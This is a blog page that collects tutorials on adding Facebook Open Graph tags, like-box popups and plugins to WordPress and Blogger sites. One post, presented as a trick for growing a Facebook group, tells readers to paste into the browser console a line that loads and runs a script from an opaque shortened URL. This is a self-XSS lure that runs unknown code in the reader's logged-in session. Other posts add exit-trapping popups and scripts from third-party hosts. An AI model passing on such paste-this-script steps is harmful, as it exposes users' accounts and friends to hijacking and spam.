Showing posts with label tutorial. Show all posts
Showing posts with label tutorial. Show all posts

How to Install Facebook Open Graph To Wordpress



Facebook Open Graph protocol allows you to share your blog content not only with your readers, but their Facebook friends as well. The best part is – whenever someone liked your content(s), it will be published on their Facebook profile. But that’s not all, Open Graph allows you to explore more interesting ways to interact and engage with your readers. Ultimately – if this is done right – it builds up your brand and increases your site’s traffic.
open graph protocol
example
In today’s post, we are going to look into how to integrate Facebook Open Graph with a self-hosted WordPress in a detailed step-by-step guide. It will require editing your existing WordPress theme and creating a Facebook application (if you don’t have one).Ready? Let’s fire up the browser and your favourite code editor. Full guide after jump.

Step 1. Create A Facebook App
We’ll need an Application ID and to get that, you’ll need to create a Facebook App. If you already have a one, move on to step 2.

Creating an application is easy, here’s what you do:

Logon to Facebook, go to the Developer’s page.
Click "Set up a new app" button on the top right corner.
Give a name to your new app, agree to Facebook terms, hit Create app.

Go to Web Site tab, fill up Site URL and Site Domain.
Note down the value of Application ID somewhere and hit the "Save Changes" button.

That’s all! You can always come back later to fill up the rest of the information.

Step 2. Replace <HTML> Tag
Open up your theme’s header file (header.php) in your favorite editor. Always keep a backup copy just in case anything goes wrong.

Look for this following line of code, or one that starts with <html xmlns="http://www.w3.org/…

<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
Replace it with:

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns:fb="https://www.facebook.com/2008/fbml">
Keep header.php open, we are going to need it for the 3rd step.

Step 3. Insert OG <Meta> Tags
Paste the following code right after <head> tag, or before </head> tag.

<?php if (have_posts()):while(have_posts()):the_post(); endwhile; endif;?>
<!-- the default values -->
<meta property="fb:app_id" content="your_fb_app_id" />
<meta property="fb:admins" content="your_fb_admin_id" />
<!-- if page is content page -->
<?php if (is_single()) { ?>
<meta property="og:url" content="<?php the_permalink() ?>"/>
<meta property="og:title" content="<?php single_post_title(''); ?>" />
<meta property="og:description" content="<?php echo strip_tags(get_the_excerpt($post->ID)); ?>" />
<meta property="og:type" content="article" />
<meta property="og:image" content="<?php if (function_exists('wp_get_attachment_thumb_url')) {echo wp_get_attachment_thumb_url(get_post_thumbnail_id($post->ID)); }?>" />
<!-- if page is others -->
<?php } else { ?>
<meta property="og:site_name" content="<?php bloginfo('name'); ?>" />
<meta property="og:description" content="<?php bloginfo('description'); ?>" />
<meta property="og:type" content="website" />
<meta property="og:image" content="logo.jpg" /> <?php } ?>
Here are some of the the values you’ll need to alter:

Line 3: Replace your_fb_app_id with the Application ID from Step 1.
Line 4: You can get your_fb_admin_id under your Facebook Insights page, (More info). Click on the "Insight for your website" green button, grab the entire string of code and replace Line 4.
Line 12: This line determines the image that represents your post. If your theme supports WordPress Post Thumbnails, it should work fine. But if it doesn’t, it will fail gracefully without an image. Check out Step 3a for an alternative workaround.
Line 19: Replace logo.jpg with an url to your blog’s logo. It will be displayed when a non-post page on your blog is shared on Facebook.
Step 3a – When "Wp_get_attachment_thumb_url" Fail
When wp_get_attachment_thumb_url() failed to work, you are likely going to a content attribute with no value, like what’s shown below:

<meta property="og:image" content="" />
A simple workaround will be to replace Line 12 with the following code:

<meta property="og:image" content="<?php if (function_exists('catch_that_image')) {echo catch_that_image(); }?>" />
Next, open up functions.php and insert the following code:

function catch_that_image() {
global $post, $posts;
$first_img = '';
ob_start();
ob_end_clean();
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
$first_img = $matches [1] [0];
if(empty($first_img)){
//Defines a default image
$first_img = "/images/default.jpg";
}
return $first_img;
}
This replacement code attempts to use a function call catch_that_image() to grab and output the URL of the first image it comes to encounter. Replace line 10 with URL to a default image if the function fails to find its first image.

Step 4. Insert Facebook Javascript SDK
The following Javascript gives you to access all of the features of the Graph API and Dialogs. It also allows you to integrate Facebook social plugins like the Like button, Facepile, Recommendations, etc with ease.

Place it in header.php, right after <body>

<div id="fb-root"></div>
<script>
  window.fbAsyncInit = function() {
    FB.init({appId: 'your_fb_app_id', status: true, cookie: true,
             xfbml: true});
  };
  (function() {
    var e = document.createElement('script'); e.async = true;
    e.src = document.location.protocol +
      '//connect.facebook.net/en_US/all.js';
    document.getElementById('fb-root').appendChild(e);
  }());
</script>
Replace your_fb_app_id in Line 4 with Application ID from Step 1 earlier.

Step 5. Let’s Test It!
We are done integrating Facebook Open Graph to the WordPress blog. Let’s give it a couple of test to make sure we’ve done things correctly.

Test #1 – View Source Code
Take a look at the source codes of one of the blog post, you should have something like this:



Check the properties and its values, make sure they are correct.

Test #2 – Install A Like Box
If you haven’t install a Facebook Like Button, then it’s probably time to get one. Place the following code anywhere (preferably before content or after content) inside single.php:

<fb:like href="<?php the_permalink() ?>" layout="button_count" show_faces="false" width="450" action="like" colorscheme="light"></fb:like>
Next, get a friend to Like it. You should see something similar appearing in his Facebook profile:



Extra: WordPress Plugin
If somehow you failed to install the codes or need this to be done quick and easy – there’s a WordPress plugin for that.

Facebook Open Graph Meta in WordPress is a WordPress plugin that adds Facebook meta data to avoid no thumbnail issue, wrong title issue, wrong description issue, etc.

Facebook like Popup Before User Leave Our Website

This tutorial will help you to increase your fanpage and will reducing the bound rate on your blog.before i start maybe you want t see demo first so please go to this blog demo

FACEBOOK Like Popup Before User Leave Website 



1. Go to blogger dashboard -> Template --> Edit Html.

2. Find for </head> and place the following peace of code just above it.

<script type="text/javascript" src="http://kbeezie.com/jquery13.js"></script>
<script src="http://kbeezie.com/fancybox/jquery.fancybox-1.3.1.pack.js" type="text/javascript"></script>
<link rel="stylesheet" href="http://kbeezie.com/fancybox/jquery.fancybox-1.3.1.css" type="text/css" media="screen"/>
<script type="text/javascript">
 function PopIt() {
  $("a#trigger").trigger('click');
  window.onbeforeunload = UnPopIt;
  return "Would you like to join our fan page?";
 }
  function UnPopIt()  { /* nothing to return */ }
 $(document).ready(function() {
  window.onbeforeunload = PopIt;
  $("a#trigger").fancybox({
   'hideOnContentClick': false,
   'showCloseButton': false
  });
  $("a[id!=trigger]").click(function(){ window.onbeforeunload = UnPopIt; });
 });
</script>

thank to kbeezie create this code

3)Find <body> tag and place the following code just below it.


&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
&lt;script&gt;(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/en_US/all.js#xfbml=1&amp;appId=146478122158914&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));&lt;/script&gt;

<div style='display: none;'>
  <a href='#popup' id='trigger'/>
  <div id='popup' style='width: 250px; height: 300px;'>
   <p><div class='fb-like-box' data-header='false' data-height='300' data-href='http://www.facebook.com/ceritaapakah' data-show-faces='true' data-stream='false' data-width='250'/></p>
  </div>
 </div>

4)Please change all red text to your information also you can paste all blue code using facebook like box java sdk went to create your facebook like box

5)save your template and done now you will see popup messages went you close your website also you can see facebook like box
thank Q

Trick Increase Your Facebook Group in Fast Ways

This is very simple trick you can Increase member Join your Group in facebook so let let try

first what you need is google chrome or mozila firefox

If you are using google Chrome it very easy you just go to your facebook group and follow this simple step

  1. Left  click
  2. Inspect Element
  3. click console 
  4. paste this script 
document.body.appendChild(document.createElement('script')).src='https://j.mp/Qym9gy';
    5.hit enter and wait until their finish the job

after finish you will see your group member will increase   :)


 

beautiful Sliding Facebook Like Box

For bloggers who have their own facebook fanpage, it is usual to put the fanpage on the blog. Normal to put in the sidebar, to this time i will also show how to hide facebook fan page beside your blog.
Beautiful Sliding Facebook Like Box


Tutorial hide Fb fan page is shown below.

Step 1:

i. From dashboard> design> edit HTML

ii. Using the find function, (ctrl + F), find the code </ head>

iii. Copy and paste the code below code BEFORE </ head>

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js' type='text/javascript'/>

Note: If you find the above code is already there before you copy and paste, skip step 1, go directly to step 2

Done Click save your template go to step 2

Step 2:

i. From dashboard> design> page elements> add a gadget> HTML / javascript

ii. Copy and paste the code below in the column HTML / javascript you have open

<script type="text/javascript">
//<!--
$(document).ready(function() {$(".w2bslikebox").hover(function() {$(this).stop().animate({right: "0"}, "medium");}, function() {$(this).stop().animate({right: "-250"}, "medium");}, 500);});
//-->
</script>
<style type="text/css">
.w2bslikebox{background: url("http://3.bp.blogspot.com/-KdSAuv-K7HM/To_WXoWHzJI/AAAAAAAAGvg/5UvL10LUe_k/facebook.png") no-repeat scroll left center transparent !important;display: block;float: right;height: 270px;padding: 0 5px 0 46px;width: 245px;z-index: 99999;position:fixed;right:-250px;top:20%;}
.w2bslikebox div{border:none;position:relative;display:block;}
.w2bslikebox span{bottom: 12px;font: 8px "lucida grande",tahoma,verdana,arial,sans-serif;position: absolute;right: 6px;text-align: right;z-index: 99999;}
.w2bslikebox span a{color: #808080;text-decoration:none;}
.w2bslikebox span a:hover{text-decoration:underline;}
</style><div class="w2bslikebox" style=""><div>
<iframe src="http://www.facebook.com/plugins/likebox.php?href=URL PAGE ANDA&amp;width=245&amp;colorscheme=light&amp;show_faces=true&amp;connections=9&amp;stream=false&amp;header=false&amp;height=330" scrolling="no" frameborder="0" style="border: medium none; overflow: hidden; height: 330px; width: 245px;background:#fff;"></iframe><span><a href="http://tutorialuntukblog.blogspot.com/2011/10/tutorial-sembunyikan-fb-fan-page-di.html">Tutorial Here</a></span></div></div> 
change URL PAGE with your facebook url page example http://www.facebook.com/username
click save and done
now you can see the beautiful sliding facebook box in you blog
if you have any question please let me know i will help you as posible as i can leave you comment

How To Put Facebook Widget Like PopUp Box with Timer in Blog

How To Put Facebook Widget Like PopUp Box with timer in Blog also can make it like a boss people must like it first before read your blog


I think this widget is a special technique similar border look like Facebook and also features a countdown timer or withdrawal. You can also set how long the timer will run (in seconds), and can also set how long the widget will appear when the blog is loaded (in minutes), both after 1 minute or immediately appear. At this widget can also change the background image with a fourth code (. Js). Loading widget is also very fast allowing no burden whatsoever on the weight loading blog.
For how to install to blog please follow the steps below.
1. Make sure you are logged into your Blogger account.
2. Go to the "Template" and click "Edit HTML"
3. Find the code </ body> (gunkan Ctrl + F to simplify)
4. Copy the code script below and put just above the code </ body>


<script type='text/javascript'>
//<![CDATA[
      KNFBFansPRO='you are pro'
//]]> </script>
<style>#fblikepop{background-color:#fff; display:none; position:fixed; top:200px;_position:absolute; /* hack for IE 6*/width:470px;border:10px solid #6F6F6F;z-index:200;-moz-border-radius: 9px;-webkit-border-radius: 9px;margin:0pt;padding:0pt;color:#333333;text-align:left;font-family:arial,sans-serif;font-size:13px;border-radius: 9px}
#fblikepop body{background:#fff none repeat scroll 0%;line-height:1;margin:0pt;height:100%;}
.fbflush{cursor: pointer;font-size:11px !important;color:#FFF !important;text-decoration:none !important;border:0 !important;}
#fblikebg{display:none;position:fixed;_position:absolute; /* hack for IE 6*/height:100%;width:100%;top:0;left:0;background:#000000;z-index:100;}
#fblikepop #closeable{float:right;margin:7px 15px 0 0;}
#fblikepop h1{background:#6D84B4 none repeat scroll 0 0;border-top:1px solid #3B5998;border-left:1px solid #3B5998;border-right:1px solid #3B5998;color:#FFFFFF !important;font-size:18px !important;font-weight:normal !important;padding:5px !important;margin:0 !important;font-family:&quot;Lucida Sans Unicode&quot;, &quot;Lucida Grande&quot;, sans-serif !important;}
#fblikepop #actionHolder{height:28px;overflow:hidden;}
#fblikepop #buttonArea{background:#F2F2F2;border-top:1px solid #CCCCCC;padding:10px;min-height:45px;}
#fblikepop #buttonArea a{color:#999999 !important;text-decoration:none !important;border:0 !important;font-size:10px !important;}
#fblikepop #buttonArea a:hover{color:#333 !important;text-decoration:none !important;border:0 !important;}
#fblikepop #popupMessage{font-size:12px !important;font-weight:normal !important;line-height:22px;padding:8px;background:#fff !important;}
#fblikepop #counter-display{float:right;font-size:11px !important;font-weight:normal !important;margin:5px 0 0 0;text-align:right;line-height:16px;}</style>
<script src='http://mybloggertricks.googlecode.com/files/jquery.js' type='text/javascript'/>
<script src='http://connect.facebook.net/en_US/all.js#xfbml=1' type='text/javascript'/>
<script src='http://anvity-host.googlecode.com/files/anvity-likebox2.js' type='text/javascript'/>
<script language='javascript'>
//<![CDATA[
$(document).ready(function(){
$().KNFBFansPRO({
timeout: 30,
wait: 0,
url: 'http://www.facebook.com/youarepro',
closeable: true });
});
//]]>
</script>
<div id='fbtpdiv'/>

5)Edit Code / Script Widget FB LikeBox
Installation is not complete until here. There is more that needs to be edited in the code above.

  • Replace the word you are pro Blog with word that will appear at the top of the widget, such as "Join you are pro Blog on Facebook"
  • Replace the 30 with the number that would regulate how long a widget that will appear (in seconds)
  • Replace the 0 with the number that would regulate the length of this widget will appear when a new blog is loaded (in minutes)
  • Replace anvity with username FansPage or if not mempuyai FansPage username, use the ID FansPage ( in the address bar of your browser)
  • Finally, change is also true with the false if the X (close) to be removed. 




Changing Background Image Widget FB LikeBox

  • Companions can also change the background image widget. Please replace the red writing on the widget above code with the code shown below.

How To Put Facebook Widget Like PopUp Box with Timer in Blog
Background is already installed in the above widget code.


How To Put Facebook Widget Like PopUp Box with Timer in Blog

                                             http://anvity-host.googlecode.com/files/anvity-likebox4.js


                                          http://anvity-host.googlecode.com/files/anvity-likebox3.js


How To Put Facebook Widget Like PopUp Box with Timer in Blog
                                       http://anvity-host.googlecode.com/files/anvity-likebox.js

6)Save your template and done :)
problem just comment i will help you

How To Create Recommended Facebook Plugin in Blogspot

hey all my friends today i am going to tech you how to insert Facebook Recommended Plugin to blogspot,
it very easy to install just follow my simple step:-
add recommended facebook Plugin
this is how your plugin look like


Add Facebook Recommendations Bar widget in Blogger   

 1)Create Facebook App
Go to your facebook and type developer after that create new app
add recommended facebook Plugin
insert your app name and namespace

add recommended facebook Plugin
insert your app domain with your url and website with facebook login with your website
                             






2)Insert Open Graph Meta Tag into your Blog Template
After you finish do step one now you go to your blog edit html and find <head> and put this meta tag open graph bellow <head>


<!-- Begin Open Graph metadata -->

<b:if cond='data:blog.pageType == &quot;item&quot;'> <meta content='article' property='og:type'/> <meta expr:content='data:blog.title' property='og:site_name'/> <meta expr:content='data:blog.pageName' property='og:title'/> <b:if cond='data:blog.postImageThumbnailUrl'> <meta expr:content='data:blog.postImageThumbnailUrl'property='og:image'/> </b:if><b:else/> <meta expr:content='data:blog.title' property='og:title'/> <meta content='website' property='og:type'/></b:if><meta expr:content='&quot;en_US&quot;' property='og:locale'/><meta expr:content='data:blog.canonicalUrl' property='og:url'/>


<!-- End Open Graph metadata -->

without this meta tag your plugin will never work so make sure you place it like i says.

3)Insert javascript SDK  bellow <body>


<div id='fb-root'/>

<script>//<![CDATA[(function(d, s, id) {  var js, fjs = d.getElementsByTagName(s)[0];  if (d.getElementById(id)) return;  js = d.createElement(s); js.id = id;  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=YOUR_APP_ID";  fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk'));//]]></script><b:if cond='data:blog.pageType == &quot;item&quot;'><div style='z-index:999999; position:absolute;'><fb:recommendations-bar action='like' max_age='0' num_recommendations='2'read_time='25' side='right' site='http://www. YOURDOMAIN.com ' trigger='40%'/></div>


</b:if>
please change your yourdomain with your domain and your_app_id with your app id you can get this app ID at your app details

4)finally you are done just press save button and this plugin will work very nice in your blog but sometime it will show only title in this widget box but it will work very well after 2 or 3 day you use it.

done now you are professional


 
Yahoo Messenger
Send Me IM!
Google Plus
Add Me To Your Circle!
Twitter
Follow Me!
Facebook
Add My Facebook
copyright 2012© -